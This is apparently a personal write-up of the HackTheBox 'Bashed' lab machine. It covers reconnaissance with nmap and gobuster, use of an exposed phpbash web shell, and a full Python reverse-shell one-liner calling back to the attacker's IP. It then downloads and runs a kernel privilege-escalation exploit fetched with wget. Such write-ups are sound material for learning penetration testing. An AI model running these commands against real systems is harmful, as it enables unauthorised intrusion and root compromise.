HackTheBox: Bashed Writeup

03 Apr, 2021

Recon

Now that we have the target IP address of 10.10.10.68, let’s perform some recon and enumeration.

To being, run an nmap scan:

$ nmap -sV -sC -p- -T4 10.10.10.68 -oN nmap_scan.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-02 11:31 EDT
Nmap scan report for 10.10.10.68
Host is up (0.14s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 484.14 seconds

The only service running on this target is an HTTP Apache web server. Let’s enumerate it further with gobuster to check for hidden directories.

$ gobuster dir -u http://10.10.10.68:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

/images
/uploads
/php   
/css  
/dev 
/js 
/fonts

The only folder that contained anything useful was /dev. Open it and click on the file phpbash.php

phpbash

It is a full bash shell within the browser! While having a terminal in the browser is nice, I prefer a proper reverse shell.

Spawning a Reverse Shell

Start a netcat listener on our host machine:

$ sudo nc -nlvp 80

Connect to it on the target machine:

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.29",80));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Now we have a reverse shell! You can optionally upgrade it to a more stable shell like below:

revshell

The user flag is located in /home/arrexel/user.txt.

Privilege Escalation

Now to find a way to escalate our privileges to the root user. I ran sudo -l to list what programs (if any) we can execute as root:

$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

I was having issues with scriptmanager, so I tried a different privilege escalation technique.

Let’s check out the kernel release and version information:

$ uname -rv 
4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017

When Googling for “4.4.0-62-generic privilege escalation” I found this exploit-db C exploit. The target does not have gcc or clang installed, so I compiled the binary locally and uploaded it to the target with wget. Here’s how:

On host:

# save the linked exploit as pwn.c
$ gcc pwn.c -o pwn
$ python3 -m http.server 8080
# we now have a make-shift webserver!

On target:

$ wget "http://10.10.14.29:8080/pwn" -O pwn
$ chmod 777 pwn
$ ./pwn

We now have a root shell! Print out /root/root.txt and win!